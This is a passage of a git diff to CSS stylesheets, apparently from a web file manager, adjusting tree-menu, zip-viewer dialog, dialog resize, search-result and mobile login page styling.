14px; + height: 13px; + box-sizing: content-box; + text-align: center; + border: 1px solid #ccc; + background: #fff; + border-radius: 2px; + cursor: pointer; + z-index: 50; +} +.ztree li a .menu-item:hover { + border-color: #3399ff; + background: #dff1ff; + box-shadow: 0 0 5px rgba(0, 0, 0, 0.1); +} +.ztree li a .menu-item:hover .cert { + border-top-color: #3399ff; +} +.ztree li a .menu-item .cert { + margin-top: 5px; + margin-left: 3px; + width: 0; + height: 0; + border-left: 4px solid transparent; + border-right: 4px solid transparent; + border-top: 5px solid silver; +} +.ztree li a:hover .menu-item, +.ztree li a.curSelectedNode .menu-item { + display: block; +} +/*移植根目录选择器*/ +ul.ztree.zTreeDragUL { + margin: 0; + padding: 0; + position: absolute; + width: auto; + height: auto; + background-color: #63acff; + border: 1px solid #63acff; + opacity: 0.5; + filter: alpha(opacity=50); +} +ul.ztree.zTreeDragUL li a span.space { + display: none !important; +} +ul.ztree.zTreeDragUL li a { + padding: 4px 10px 0 10px; + color: #fff; +} +ul.ztree.zTreeDragUL li span.button.switch { + display: none; +} +.ztree li a.tmpTargetNode_inner { + background: #0076fc; + border: 1px solid #3091ff; + color: #fff; +} +.ztree li a.tmpTargetNode_prev { + border-bottom: 1px solid #f96; +} +.ztree li a.tmpTargetNode_next { + border-bottom: 1px solid #f96; +} +.zip-view-dialog .aui-content {width:100%;position: relative;} +.zip-view-dialog .aui-outer .x-item-file{width: 60px;height: 60px;margin-top:0;} +.zip-view-dialog .aui-title { + height: 90px; +} +.zip-view-dialog .zip-view-content { + position: absolute; + left: 0; + right: 0; + bottom: 0; + top: 0px; + margin: 0px; + border: none; +} +.zip-view-dialog .zip-view-content .header { + height: 90px; + background-color: #2c41b3; + background-image: linear-gradient(to bottom, #2c41b3 0, #222b5d 100%); + color: #fff; + position: relative; +} +.zip-view-dialog .zip-view-content .header .bg { + background: url("http://localhost/kod/kod_dev/static/images/common/banner/fly.png") 100px -300px; + width: 100%; + height: 100%; + position: absolute; +} +.zip-view-dialog .zip-view-content .header .icon { + width: 56px; + height: 56px; + position: absolute; + left: 20px; + top: 20px; +} +.zip-view-dialog .zip-view-content .header .name, +.zip-view-dialog .zip-view-content .header .desc { + position: absolute; + overflow: hidden; + white-space: nowrap; + text-overflow: ellipsis; + width: 80%; +} +.zip-view-dialog .zip-view-content .header .name { + margin: 22px 0 0 90px; + font-size: 18px; + font-weight: 800; +} +.zip-view-dialog .zip-view-content .header .desc { + margin: 50px 0 0 90px; +} +.zip-view-dialog .zip-view-content .zip-header-title { + height: 23px; + line-height: 23px; + border-bottom: 1px solid #ddd; + border-top: 1px solid #ddd; + background: #f6f6f6 url("http://localhost/kod/kod_dev/static/images/common/bg.gif") 0 -30px; +} +.zip-view-dialog .zip-view-content .zip-header-title .item { + float: left; +} +.zip-view-dialog .zip-view-content .zip-header-title .item span { + display: block; + border-right: 1px solid #ddd; + padding-left: 10px; + cursor: default; +} +.zip-view-dialog .zip-view-content .zip-header-title .name { + width: 60%; +} +.zip-view-dialog .zip-view-content .zip-header-title .size { + width: 10%; +} +.zip-view-dialog .zip-view-content .zip-header-title .mtime { + width: 30%; +} +.zip-view-dialog .zip-view-content .zip-header-title .item.mtime span { + border-right: none; +} +.zip-view-dialog .zip-view-content .ztree { + padding: 0px; + position: absolute; + top: 115px; + left: 0; + right: 0px; + bottom: 0; + overflow: auto; +} +.zip-view-dialog .zip-view-content .ztree li, +.zip-view-dialog .zip-view-content .ztree li ul {width: 100%;} +.zip-view-dialog .zip-view-content .ztree li a { + position: relative; + padding-left: 0; + color: #333; + text-shadow: none; +} +.zip-view-dialog .zip-view-content .ztree li a:hover { + transition: none; +} +.zip-view-dialog .zip-view-content .ztree li a.odd { + background: #f1f7ff; +} +.zip-view-dialog .zip-view-content .ztree li a:hover, +.zip-view-dialog .zip-view-content .ztree li a.odd:hover { + background: #fdeec3; +} +.zip-view-dialog .zip-view-content .ztree li a.curSelectedNode, +.zip-view-dialog .zip-view-content .ztree li a.odd.curSelectedNode { + background: #63acff; + color: #fff; +} +.zip-view-dialog .zip-view-content .ztree li a .name { + width: 45%; + overflow: hidden; + position: absolute; + word-break: break-all; + text-overflow: ellipsis; +} +.zip-view-dialog .zip-view-content .ztree li a .time { + width: 27%; + opacity: 0.8; + font-size: 12px; + position: absolute; + left: 72%; +} +.zip-view-dialog .zip-view-content .ztree li a .size { + width: 10%; + opacity: 0.8; + font-size: 12px; + position: absolute; + left: 62%; +} +.zip-view-dialog .zip-view-content .ztree li a .menu-item-parent { + display: none; + position: absolute; + right: 0px; + top: 0; + text-align: center; + width: 25px; + height: 24px; + background: #fff; + background: rgba(50, 50, 50, 0.1); + color: #666; +} +.zip-view-dialog .zip-view-content .ztree li a:hover .menu-item-parent { + display: block; +} +.zip-view-dialog .zip-view-content .ztree li a.curSelectedNode .menu-item-parent { + display: block; + color: #fff; +} +.dialog-min-size.zip-view-dialog .aui-title { + height: auto !important; +} +.dialog-min-size.zip-view-dialog .aui-header .aui-min, +.dialog-min-size.zip-view-dialog .aui-header .aui-max, +.dialog-min-size.zip-view-dialog .aui-header .aui-close { + color: #ddd; +} + + +/*------------最大化最小化,窗口大小调整-----------*/ +.dialog-max .aui-nw, +.dialog-max .aui-ne, +.dialog-max .aui-sw, +.dialog-max .aui-se, +.dialog-max .aui-w, +.dialog-max .aui-e { + width: 0px; +} +.dialog-max .aui-sw, +.dialog-max .aui-n, +.dialog-max .aui-se { + height: 0px; +} +.dialog-max .aui-outer { + border: none !important; +} +.dialog-can-resize .resize-handle { + position: absolute; + z-index: 999999; + display: block; +} +.dialog-can-resize .resize-top { + cursor: n-resize; + top: -3px; + left: 0px; + height: 7px; + width: 100%; +} +.dialog-can-resize .resize-bottom { + cursor: s-resize; + bottom: -3px; + left: 0px; + height: 7px; + width: 100%; +} +.dialog-can-resize .resize-right { + cursor: e-resize; + right: -3px; + top: 0px; + width: 7px; + height: 100%; +} +.dialog-can-resize .resize-left { + cursor: w-resize; + left: -3px; + top: 0px; + width: 7px; + height: 100%; +} +.dialog-can-resize .resize-bottom-right { + cursor: se-resize; + width: 18px; + height: 18px; + right: -7px; + bottom: -7px; + background: url('http://localhost/kod/kod_dev/static/images/common/dialog/resize_corner.png') no-repeat; + opacity: 0.4; + filter: alpha(opacity=40); +} +.dialog-can-resize .resize-bottom-left { + cursor: sw-resize; + width: 15px; + height: 15px; + left: -7px; + bottom: -7px; +} +.dialog-can-resize .resize-top-left { + cursor: nw-resize; + width: 15px; + height: 15px; + left: -7px; + top: -7px; +} +.dialog-can-resize .resize-top-right { + cursor: ne-resize; + width: 15px; + height: 15px; + right: -5px; + top: -7px; +} +.dialog-can-resize .aui-min, +.dialog-can-resize .aui-max { + display: block; +} +.dialog-min-size { + width: 250px !important; + height: 30px !important; +} +.dialog-min-size.dialog-no-title .aui-title, +.dialog-min-size .aui-title { + opacity: 1 !important; +} +.dialog-min-size .aui-outer { + width: 250px; +} +.dialog-min-size .aui-header { + height: 30px; +} +.dialog-min-size .aui-title { + text-align: left; + padding-left: 10px; +} +.dialog-min-size .aui-main, +.dialog-min-size .aui-footer { + display: none; +} +.dialog-min-size .resize-handle { + display: none; +} +.dialog-no-title .aui-title-bar { + position: absolute; + z-index: 99999; + width: 100%; + height: 30px; + top: 0; +} +.dialog-no-title .aui-title { + opacity: 0.01 !important; + filter: alpha(opacity=1) !important; +} +.dialog-no-title .aui-inner { + border: none; +} +.dialog-no-title .aui-nw, +.dialog-no-title .aui-n, +.dialog-no-title .aui-ne, +.dialog-no-title .aui-w, +.dialog-no-title .aui-e, +.dialog-no-title .aui-sw, +.dialog-no-title .aui-s, +.dialog-no-title .aui-se { + display: none; +} +.dialog-no-title .aui-outer .aui-min { + right: 80px; +} +.dialog-no-title .aui-outer .aui-min:before { + content: "\f068" !important; +} +.dialog-no-title .aui-outer .aui-max { + right: 40px; +} +.dialog-no-title .aui-outer .aui-max:before { + content: "\f065" !important; +} +.dialog-no-title .aui-outer .aui-close { + right: 0px; +} +.dialog-no-title .aui-outer .aui-close:before { + content: "\f00d" !important; +} +.dialog-no-title .aui-outer .aui-min, +.dialog-no-title .aui-outer .aui-max, +.dialog-no-title .aui-outer .aui-close { + display: block; + position: absolute; + text-decoration: none; + outline: none; + font-size: 1.25em; + -ms-transition: all 0.1s; + -webkit-transition: all 0.1s; + -moz-transition: all 0.1s; + -o-transition: all 0.1s; + transition: all 0.1s; + color: #fff; + top: 0px; + cursor: pointer; + height: 30px; + line-height: 30px; + text-align: center; + background-color: transparent; + width: 40px; + font-family: FontAwesome; + border: none; + background-image: none; + border-radius: 0; +} +.dialog-no-title .aui-outer .aui-min:hover, +.dialog-no-title .aui-outer .aui-max:hover, +.dialog-no-title .aui-outer .aui-close:hover { + color: #fff; + border: none; + box-shadow: none; + background: #41acf8; + background: rgba(0, 0, 0, 0.4); +} +.dialog-no-title .aui-outer .aui-close:hover { + background: #e81123; + background: rgba(232, 17, 35, 0.8); +} +.dialog-no-title.header-bg .aui-content .header { + height: 90px; + background-color: #008def; + background-image: linear-gradient(to bottom, #084998 0, #00a9fb 100%); + color: #fff; + position: relative; +} +.dialog-no-title.header-bg .aui-content .header .bg { + background: url("http://localhost/kod/kod_dev/static/images/common/banner/box.png") 180px -220px no-repeat; + width: 100%; + height: 100%; + position: absolute; + opacity: 0.7; +} +.dialog-no-title.dialog-max .aui-outer .aui-max { + right: 40px; +} +.dialog-no-title.dialog-max .aui-outer .aui-max:before { + content: "\f066" !important; +} + + .message-box { position: absolute; top: 15%; left: 0px; z-index: 88; background: #5db2ff; color: #fff; opacity: 0.7; filter: alpha(opacity=70); -webkit-border-radius: 1px; -moz-border-radius: 1px; border-radius: 1px; -webkit-box-shadow: 0 10px 60px rgba(0,0,0,0.6); -moz-box-shadow: 0 10px 60px rgba(0,0,0,0.6); box-shadow: 0 10px 60px rgba(0,0,0,0.6); display: none;} .message-box .content { padding: 10px 30px; line-height: 20px; width: auto;} .dialog-max { z-index: 99999 !important;} @@ -808,8 +1418,8 @@ div.jPlayer-music .top-banner .progress{position: initial;} table th, table td, table thead:first-child tr:first-child th {padding:0;border:0px solid #ddd;} .file-upload-box .uploader-list .item, .file-upload-box .download-list .item{position: relative;} .file-upload-box .uploader-list .item .progress, .file-upload-box .download-list .item .progress { - height: 38px;margin: 0px;width: 100%;height: 100%; - left: 0px;top: 0px;position: absolute; + height: 38px;margin: 0px;width: 100%;height: 100%; + left: 0px;top: 0px;position: absolute; } /*兼容调整*/ .file-upload-box{height:300px;padding:0px;min-width:240px;} @@ -817,14 +1427,14 @@ table th, table td, table thead:first-child tr:first-child th {padding:0;border: .file-upload-box .topbar-nav{display: none;} #dialog-file-upload .aui-min, #dialog-file-upload .aui-max{ - display: none; + display: none; } .bodymain{padding-bottom:80px;} /*搜索*/ .do-search-box{color:#888} -.do-search-box .search-header{padding:10px;padding-bottom:0} +.do-search-box .search-header{padding:10px;padding-bottom:0;font-size: 12px;} .do-search-box .search-header input[type=checkbox]{padding-left:0} .do-search-box .search-header label{font-size:1em} .do-search-box .search-header .btn-right{margin:-4px 0 0 -2px;border-radius:0;padding:0;width:30px;height:25px;height:28px \9\0} @@ -837,7 +1447,28 @@ table th, table td, table thead:first-child tr:first-child th {padding:0;border: .do-search-box .search-desc{margin:0 10px;height:33px;border:1px solid #ddd;border-top-right-radius:3px;border-top-left-radius:3px;background-image:-webkit-linear-gradient(top,#fff,#def);color:#3196e6;text-align:center;font-size:13px;line-height:33px} .do-search-box .search-result{position:absolute;top:137px;right:0;bottom:0;left:0;overflow-x:hidden;overflow-y:auto;margin:10px;border:1px solid #ddd;border-top:none;} .do-search-box .search-result .file-items{margin:0;padding:10px 0;list-style:none;font-size:13px} -.do-search-box .search-result .file-item .file-info{padding-left:10px;height:25px;color:#444;font-size:13px;line-height:25px;cursor:default} +.do-search-box .search-result .file-item .file-info{ + padding-left:10px;height:25px;color:#444; + font-size:13px;line-height:25px;cursor:default; + word-wrap: break-word; + word-break: break-all; + overflow: hidden; + position: relative; +} +.do-search-box .search-result .file-item .file-info .goto { + position: absolute; + right: 0; + top: 0; + width: 30px; + height: 25px; + line-height: 25px; + text-align: center; + color: #bbb; + background: #fff; + cursor: pointer; + + display:none; +} .do-search-box .search-result .file-item .file-info:hover{background:#eee} .do-search-box .search-result .file-item .file-info .title{height:25px;color:#666} .do-search-box .search-result .file-item .file-info .title:hover{border-bottom:1px solid #1387bb;color:#1387bb;cursor:pointer} diff --git a/static/style/wap/login.css b/static/style/wap/login.css index 506d4da..5106257 100755 --- a/static/style/wap/login.css +++ b/static/style/wap/login.css @@ -24,22 +24,13 @@ a:hover{color:#f30;} .title .logo i{color:#aaddff;font-weight: 400;} .title .info{text-align: center;font-size: 14px;color:#aaddff;padding-top:20px;text-shadow:#75A1F0 0 0 3px;font-weight: 400;} .msg{color: #f96;text-align: center;margin-bottom: -10px;padding-top: 10px;} -.common-footer{ - color:#999;text-align: center;width: 100%; - background:#eee;padding: 10px; - position: absolute; - margin-top: 20px; - bottom: 0px; - font-size: 10px; -} - .loginbox{ background:none; margin: 20% auto 0; width: 350px; border-radius: 4px; - overflow: hidden; + overflow: hidden;z-index: 100; box-shadow: 0 -5px 30px rgba(0,0,0,0.6); } .loginbox .success{padding:10px;color: #3c763d;background-color: #dff0d8;border:#d6e9c6 1px solid;} @@ -57,6 +48,7 @@ a:hover{color:#f30;} .background{ position:absolute;overflow: hidden;z-index: -10; background: url() no-repeat center center/cover; + background-color:#ddd; width:100%;height: 100%; right: 0px;top: 0px; bottom: 0px;left: 0px; } @@ -164,7 +156,6 @@ div .form{ border-bottom-left-radius: 2px; border-top-left-radius: 2px; } -.inputs .check-code{margin-bottom: 0;} .inputs .check-code input{ width:127px;color:#666; border-radius: 2px 0 0 2px; @@ -203,8 +194,9 @@ div .actions #submit{ border: 1px solid #217ef2; } .common-footer { + text-align: center;width: 100%;font-size: 10px; background: rgba(0,0,0,0.01);color: #fff; - position: relative;margin-top:100px;padding-top: 20px; + position: fixed;margin-top:100px;padding:10px;bottom:0px;z-index:-1; background-image:linear-gradient(to bottom,rgba(0,0,0,0.3),rgba(0,0,0,0.01)); }